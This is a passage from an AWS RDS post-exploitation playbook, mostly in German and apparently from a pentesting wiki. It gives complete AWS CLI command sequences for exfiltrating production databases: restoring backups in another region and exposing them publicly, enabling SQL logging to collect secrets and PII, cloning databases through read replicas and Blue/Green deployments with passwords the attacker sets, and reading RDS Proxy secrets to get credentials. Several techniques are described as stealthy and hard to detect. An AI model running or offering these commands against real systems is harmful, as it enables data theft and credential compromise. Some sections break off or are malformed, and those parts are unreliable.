2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Vollständiges SQL-Logging über DB parameter groups aktivieren und exfiltrate über RDS log APIs

Abuse `rds:ModifyDBParameterGroup` mit RDS log download APIs, um alle von Anwendungen ausgeführten SQL-Statements zu erfassen (keine DB engine credentials erforderlich). Aktiviere engine SQL logging und lade die Log-Dateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder das REST `downloadCompleteLogFile`). Nützlich, um queries zu sammeln, die secrets/PII/JWTs enthalten können.

Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Schritte
1) Recon des Ziels und der aktuellen parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table

2. Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (die default kann nicht bearbeitet werden)

• Falls die Instanz bereits eine benutzerdefinierte Gruppe nutzt, verwende deren Namen im nächsten Schritt.
• Andernfalls erstelle und hänge eine an, die zur engine family passt:

# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"

3. Ausführliches SQL logging aktivieren

• MySQL-Engines (sofort / kein Neustart):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"

• PostgreSQL engines (Neustart erforderlich):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>

4. Lassen Sie die Workload laufen (oder erzeugen Sie Abfragen). Anweisungen werden in die Engine-Logdateien geschrieben

• MySQL: general/mysql-general.log
• PostgreSQL: postgresql.log

5. Logs entdecken und herunterladen (keine DB creds erforderlich)

aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log

6. Offline nach sensiblen Daten analysieren

grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Beispielbelege (geschwärzt):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Bereinigung

• Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:

# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (keine DB-Creds), möglicherweise leaking secrets, JWTs und PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Missbrauche RDS read replicas, um out-of-band Lesezugriff zu erhalten, ohne die Zugangsdaten der Primärinstanz zu berühren. Ein Angreifer kann aus einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primärinstanz nicht) und die Replica optional öffentlich machen, um Daten zu exfiltrieren.

Permissions needed (minimum):

• rds:DescribeDBInstances
• rds:CreateDBInstanceReadReplica
• rds:ModifyDBInstance
• ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

Auswirkung: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Beispielhinweise (MySQL):

• Replica DB-Status: available, Lese-Replikation: replicating
• Erfolgreiche Verbindung mit neuem Passwort und @@read_only=1, die den schreibgeschützten Zugriff auf die Replica bestätigt.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Missbrauche RDS Blue/Green, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte grüne Umgebung zu klonen. Setze dann die Master-Zugangsdaten der grünen Umgebung zurück, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz zu verändern. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachungen, die sich nur auf die Quelle konzentrieren.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Auswirkung: Nur-Lesezugriff, aber vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.

Out-of-band SQL über RDS Data API durch Aktivieren des HTTP-Endpoints + Zurücksetzen des Master-Passworts

Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Zielcluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora engines, die das Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).

Berechtigungen (mindestens):

• rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
• secretsmanager:CreateSecret
• rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement, falls verwendet)

Auswirkung: Umgehe Netzwerksegmentierung und exfiltriere Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.

</details>

Hinweise:
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.


### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Missbrauche die RDS Proxy-Konfiguration, um das für die Backend-Authentifizierung verwendete Secrets Manager-Secret zu entdecken, und lese dann das Secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren umfangreiche `secretsmanager:GetSecretValue`-Berechtigungen, wodurch dies ein niedrigaufwändiger Pivot zu DB-Creds ist. Wenn das Secret eine CMK verwendet, können fehlkonfigurierte KMS-Berechtigungen auch `kms:Decrypt` erlauben.

Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` auf das referenzierte SecretArn
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` auf diesem Key

Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weitere laterale Bewegung.

Schritte
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery